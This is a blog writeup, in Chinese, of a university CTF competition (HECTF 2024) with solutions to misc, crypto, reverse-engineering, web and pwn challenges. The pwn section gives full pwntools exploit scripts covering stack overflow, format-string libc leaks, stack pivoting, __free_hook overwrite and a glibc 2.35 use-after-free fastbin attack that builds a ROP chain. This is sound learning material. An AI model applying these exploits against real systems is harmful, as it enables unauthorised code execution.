河北师范大学第八届信息安全挑战赛writeup

河北师范大学第八届信息安全挑战赛writeup

image-20241209105415651

image-20241209124931006

前9名有奖品,我第10名,不错不错,当了一次守门员。

MISC

2024HECTF俺来了!!!

签到题,关注公众号拿flag

image-20241209105539738

Rem_You

附件是一张图片,foremost分离出一个压缩包,解压出一个文件夹,然后里面是几张图片,把图片拼接一下,扫码。

image-20241209105809507

image-20241209105845084

JBCUGVCGPN2VMM3YPBRTOUZYNF4UETSUPB2GM6DWKBZE6N2SIZCTGZ2MOBZG6OLBGNAVOMSLKB6Q====

base32解码:HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}

快来反馈吧!!

填写问卷,然后给了flag

简单的压缩包

附件给了一个压缩包和一个txt,txt文件名就给了提示re.txt,里面是正则。^([a-z]){2}\d([^a-z])\D$

前两位是a-z,第三位是数字,第四位是非a-z,第五位是非数字,爆破压缩包密码。

ziperello基于模板的爆破,用时两小时才爆出来。

image-20241209110417062

解压里面的图片,用foremost提取出一个压缩包来,压缩包解压出一个getZip.py和一个zip.zip,这个压缩包损坏了,打不开。看看py脚本:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii

def encrypt(key,iv):
    data = content
    cipher1 = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher1.encrypt(pad(data, 16))
    ct_hex = binascii.b2a_hex(ct)
    return ct_hex

with open("oringe.zip","rb") as f:
    content = f.read()

key = b"abcdefghijklmnop"
iv  = b"qwertyuiopasdfgh"

en = encrypt(key,iv)
with open("zip2.zip","wb") as f:
    f.write(en)

不太会,交给ai,让ai写出一个解密脚本。

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decrypt(key, iv, encrypted_data):
    """
    用于解密数据的函数
    :param key: 加密密钥
    :param iv: 初始化向量
    :param encrypted_data: 十六进制格式的加密数据
    :return: 解密后的数据
    """
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_bytes = binascii.a2b_hex(encrypted_data)  # 将十六进制数据转换回二进制
    decrypted_data = cipher.decrypt(encrypted_bytes)
    return unpad(decrypted_data, 16)

# 定义加密时使用的密钥和初始化向量,需和加密时保持一致
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"

with open("zip.zip", "rb") as f:
    encrypted_content = f.read()

decrypted_content = decrypt(key, iv, encrypted_content)

with open("decrypted_zip.zip", "wb") as f:
    f.write(decrypted_content)

还原zip之后可以正常打开了,解压出来就是flag:HECTF{c292af1-2b2ee35-6398bd4934f7626afc}

CRYPTO

迷茫的艾米莉

题目描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园

W型栅栏密码:分为6栏时,解密结果为:YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}

维吉尼亚解密,responsibility为key

image-20241209111133209

得到flag:HECTF{C0ng2at51ations_0n_comin9_in}

翻一翻

不会密码学,但是看到最后已经快三十解了,就想试试,最后半小时才做出来。

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from secret import flag
import base64

def emirp(x):
    y = 0
    while x !=0:
        y = y*10 + x%10
        x = x//10
    return y

while True:
    p = getPrime(512)
    q = emirp(p)
    if isPrime(q):
        break
n = p*q
e = 65537

flag = base64.b64encode(flag)

m = bytes_to_long(flag)

c = pow(m,e,n)
print(f"{n = }")
print(f"{c = }")

p = 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
q = 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201

'''
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
'''

不会,直接搜def emirp(x)这个函数,搜到一些博客,最后在https://www.cnblogs.com/mumuhhh/p/17799378.html找到了脚本

image-20241209111540985

跑脚本得到了p和q

image-20241209111633177

接下来就简单了

image-20241209111706860

PWN

怪遗憾了,差一道题就ak了,喵喵喵那道题其实已经分析的差不多了,但是奈何周六晚上偷懒了,没加班,导致最后时间不够了,不过学习了一手protobuf,还不错。

sign in

from pwn import *

p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')

payload = b'\x00'*(0xe+8)+p64(0x00401285)
p.sendlineafter(b'in!!!!\n',payload)
p.sendafter(b'key\n',b'aaaa')
p.interactive()

Arcaea_Sorting

题目看着唬人,其实好多函数都没用。有格式化字符串漏洞和栈溢出,很好打,格式化字符串漏洞泄露libc,然后栈溢出拿shell。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='i386',log_level='debug')

p.sendlineafter(b'me?',b'0')
p.sendlineafter(b'system\n','4')
p.sendafter(b'_=!!!)',b'%59$p')
p.sendlineafter(b'system\n','5')
p.recvuntil(b'is:\n')
libc_base = int(p.recv(10),16)-147-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
binsh = libc_base+0x001bd0d5
system  = libc_base+libc.symbols['system']
payload = b'a'*(0x48+4)+p32(system)+p32(libc_base+0x30)+p32(binsh)
p.sendlineafter(b'system\n','4')
p.sendafter(b'_=!!!)',payload)
p.sendlineafter(b'system\n','5')
p.interactive()

find eggy

整数溢出,然后栈迁移。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context(os='linux',arch='amd64',log_level='debug')

p.sendlineafter(b'?\n',b'268435456')
buf = 0x000405600
sh = 0x000403680
pop_rdi = 0x00401326
leave_ret = 0x00401599

payload = p64(pop_rdi)+p64(sh)+p64(elf.plt['system'])
p.sendafter(b'me!\n',payload)
payload = b'a'*0x20+p64(buf-8)+p64(leave_ret)
p.sendafter(b'TvT\n',payload)
p.interactive()

Arcaea_Sorting_Revenge

edit功能有数组越界,先正常泄露libc地址和heap地址,name写成可控的堆地址,然后利用数组越界拿到任意写,写free_hook为system,拿shell。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context(os='linux',arch='amd64',log_level='debug')

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()
def add(name,rating,score,size,descript):
	p.sendlineafter(b'>>',b'1')
	p.sendafter(b'name:',name)
	p.sendlineafter(b'rating:',str(rating))
	p.sendlineafter(b'score:',str(score))
	p.sendlineafter(b'size:',str(size))
	p.sendafter(b'descript:',descript)
def edit(index,size,content):
	p.sendlineafter(b'>>',b'3')
	p.sendlineafter(b'0) :',str(index))
	p.sendlineafter(b'change to:',str(size))
	p.sendafter(b'description:',content)
def delete(index):
	p.sendlineafter(b'>>',b'2')
	p.sendlineafter(b'0) :',str(index))
def show():
	p.sendlineafter(b'>>',b'4')


p.sendafter(b'plz enter your username:',b'aaaaaaaa')
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#0
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#1
delete(0)
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#0
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-3951480
print('libc_base-->'+hex(libc_base))
add(b'aaaaaaaa',1,1,0x80,b'aaaaaaaa')#2

delete(0)
delete(1)
add(b'\x00',1,1,0x80,b'aaaaaaaa')#0
add(b'\x00',1,1,0x80,b'aaaaaaaa')#1
show()
p.recvuntil(b'aaaaaaaa')
p.recvuntil(b'aaaaaaaa')
heap_base = u64(p.recv(6).ljust(8,b'\x00'))-304
print('heap_base-->'+hex(heap_base))

free_hook = libc_base+libc.symbols['__free_hook']
add(b'\x00',1,1,0x100,b'a'*0x40+p64(free_hook))#3
target = heap_base+752+0x10
system = libc_base+libc.symbols['system']

p.sendlineafter(b'>>',b'5')
p.sendafter(b'to:\n',p64(0)*3+p64(target))
edit(-1,0x100,p64(system))
add(b'/bin/sh\x00',1,1,0x80,b'/bin/sh\x00')#4
delete(4)
p.interactive()

lip

2.35的题,有uaf,我的思路是先填充tcache,得到unsorted bin泄露libc地址,再泄露heap地址,用fastbin attack申请到environ泄露栈地址,然后再次利用fastbin attack将chunk申请到栈上布置rop链拿shell。

总感觉自己做的麻烦了,应该还有更简单的方法。

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context(os='linux',arch='amd64',log_level='debug')

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()
def buy(index,size,content):
	p.sendlineafter(b'View\n',b'1')
	p.sendlineafter(b'Index: \n',str(index))
	p.sendlineafter(b'Size: \n',str(size))
	p.sendafter(b'Content :\n',content)
def delete(index):
	p.sendlineafter(b'View\n',b'2')
	p.sendlineafter(b'Index: \n',str(index))
def view(index):
	p.sendlineafter(b'View\n',b'3')
	p.sendlineafter(b'Index: \n',str(index))

for i in range(7):
	buy(i,0x80,b'aaaaaaaa')

buy(7,0x80,b'aaaaaaaa')
buy(8,0x10,b'aaaaaaaa')
for i in range(7):
	delete(i)
delete(7)
view(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-2206944
print('libc_base-->'+hex(libc_base))
view(0)
p.recvuntil(b'Content: \n')
key = u64(p.recv(5).ljust(8,b'\x00'))
heap_base = key<<12
print('heap_base-->'+hex(heap_base))
environ=libc_base+libc.sym['__environ']
print('environ-->'+hex(environ))
for i in range(7):
	buy(i,0x80,b'aaaaaaaa')
buy(7,0x80,b'aaaaaaaa')

for i in range(7):
	buy(i,0x10,b'aaaaaaaa')

buy(7,0x10,b'aaaaaaaa')
buy(8,0x10,b'aaaaaaaa')
for i in range(7):
	delete(i)
delete(7)
buy(0,0x20,b'aaaaaaaa')
delete(8)
delete(7)

buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa')

buy(0,0x10,p64((environ-0x10)^key))
buy(0,0x10,b'aaaaaaaa')
print('environ-->'+hex(environ))
buy(0,0x10,b'aaaaaaaa')
buy(0,0x10,b'aaaaaaaa'*2)
view(0)
p.recvuntil(b'aaaaaaaa'*2)
strck = u64(p.recv(6).ljust(8,b'\x00'))
print('strck-->'+hex(strck))
target = strck-328+8

for i in range(7):
	buy(i,0x70,b'aaaaaaaa')

buy(7,0x70,b'aaaaaaaa')
buy(8,0x70,b'aaaaaaaa')
for i in range(7):
	delete(i)
delete(7)
buy(0,0x80,b'aaaaaaaa')
delete(8)
delete(7)

buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')

pop_rdi = libc_base+0x002a3e5
system = libc_base+libc.sym['system']
sh = libc_base+0x01d8678
og = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
shell = libc_base+og[2]
ret = libc_base+0x000029139

buy(0,0x70,p64((target-0x8)^key))
buy(0,0x70,b'aaaaaaaa')
buy(0,0x70,b'aaaaaaaa')
#buy(0,0x70,b'aaaaaaaa'*3+p64(shell))
buy(0,0x70,p64(ret)*8+p64(pop_rdi)+p64(sh)+p64(system))

print('target-->'+hex(target))
p.interactive()

RE

littleasm

不会做,交给ai

   .section   .data
flag: .space 28
key:  .ascii "rev"
data: .byte 0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3
msg_wrong:  .ascii "WRONG!!!\n"
msg_right:  .ascii "Right!!\n"
   .section   .text
   .globl  main
main:
    pushl   %ebp
    movl    %esp, %ebp
    subl    $28, %esp

    leal    flag, %eax
    pushl   %eax
    call    scanf
    addl    $4, %esp

    movl    $0, %ecx
encrypt_loop:
    cmpl    $27, %ecx
    jge     check_loop

    movl    %ecx, %edx
    addl    $2, %edx
    movl    $3, %eax
    divl    %eax
    movzx   %dl, %edx
    movzx   data(,%ecx,1), %eax
    movzx   flag(,%ecx,1), %ebx
    movzx   key(,%edx,1), %esi
    xorl    %ebx, %esi
    addl    $0x2C, %esi
    movb    %sil, data(,%ecx,1)

    movl    %ecx, %edx
    addl    $1, %edx
    movl    $3, %eax
    divl    %eax
    movzx   %dl, %edx
    movzx   data(,%ecx + 1,1), %eax
    movzx   flag(,%ecx + 1,1), %ebx
    movzx   key(,%edx,1), %esi
    xorl    %ebx, %esi
    addl    $0x8, %esi
    movb    %sil, data(,%ecx + 1,1)

    movl    %ecx, %edx
    movl    $3, %eax
    divl    %eax
    movzx   %dl, %edx
    movzx   data(,%ecx + 2,1), %eax
    movzx   flag(,%ecx + 2,1), %ebx
    movzx   key(,%edx,1), %esi
    xorl    %ebx, %esi
    xorl    $0xC, %esi
    movb    %sil, data(,%ecx + 2,1)

    addl    $3, %ecx
    jmp     encrypt_loop

check_loop:
    movl    $0, %ecx
    movl    $0, %edx
compare_loop:
    cmpl    $27, %ecx
    jge     check_result

    movzx   flag(,%ecx,1), %eax
    movzx   data(,%ecx,1), %ebx
    cmpb    %al, %bl
    jne     set_wrong

    addl    $1, %ecx
    jmp     compare_loop

set_wrong:
    movl    $1, %edx

check_result:
    cmpl    $0, %edx
    jne     print_wrong

    leal    msg_right, %eax
    pushl   %eax
    call    printf
    addl    $4, %esp

    jmp     end_main

print_wrong:
    leal    msg_wrong, %eax
    pushl   %eax
    call    printf
    addl    $4, %esp

end_main:
    movl    %ebp, %esp
    popl    %ebp
    ret

ai写的解密脚本:

encrypted_data = [0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3]
key = "rev"

def reverse_encrypt_first_byte(data_byte, key_index):
    """
    逆向还原第一个字节加密操作
    """
    reversed_byte = (data_byte - 0x2C) & 0xFF
    key_char = key[key_index]
    return reversed_byte ^ ord(key_char)

def reverse_encrypt_second_byte(data_byte, key_index):
    """
    逆向还原第二个字节加密操作
    """
    reversed_byte = (data_byte - 0x8) & 0xFF
    key_char = key[key_index]
    return reversed_byte ^ ord(key_char)

def reverse_encrypt_third_byte(data_byte, key_index):
    """
    逆向还原第三个字节加密操作
    """
    reversed_byte = data_byte ^ 0xC
    key_char = key[key_index]
    return reversed_byte ^ ord(key_char)

recovered_flag = []
for i in range(0, len(encrypted_data), 3):
    # 处理第一个字节
    index_1 = (i + 2) % 3
    reversed_1 = reverse_encrypt_first_byte(encrypted_data[i], index_1)
    recovered_flag.append(reversed_1)

    # 处理第二个字节
    index_2 = (i + 1) % 3
    reversed_2 = reverse_encrypt_second_byte(encrypted_data[i + 1], index_2)
    recovered_flag.append(reversed_2)

    # 处理第三个字节
    index_3 = i % 3
    reversed_3 = reverse_encrypt_third_byte(encrypted_data[i + 2], index_3)
    recovered_flag.append(reversed_3)

print("Recovered flag:", bytes(recovered_flag).decode('utf-8', 'replace'))

image-20241209114924947

easyree

upx加壳了,正常脱壳脱不掉,010editor打开之后将CTF全部替换成UPX之后用就能正常脱壳了。

之后ida打开查看伪代码,得到flag长度是27。

再输入flag之后,题目还问了一句,让我们猜测异或了多少次。

猜测这个加密应该是单字节加密,在判断处下断点。

image-20241209121101459

str[i] - 21 != (data[i] ^ k)

此时的i的值为0,str[0]的值为P,data[0]的值为0x23,又已知flag第一位为H,我们输入HECTF{aaaaaaaaaaaaaaaaaaaa}

image-20241209121350573

通过简单的运算,可以推出k==24,我是这种思路,先patch程序,让k初始化就赋值为24,然后通过爆破来获取flag。

image-20241209121538773

直接将第二个输入nop掉,然后在0x4017e5打上断点

image-20241209121715947

在这里判断ecx和eax是否相等来作为输入的flag是否正确,编写脚本爆破出flag。

image-20241209121922124

WEB

Are u happy

题目给了提示:

image-20241209122107635

源码中找到:

image-20241209122150625

base64解码得到flag

image-20241209122227161

posted @   山西小嫦娥  阅读(208)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示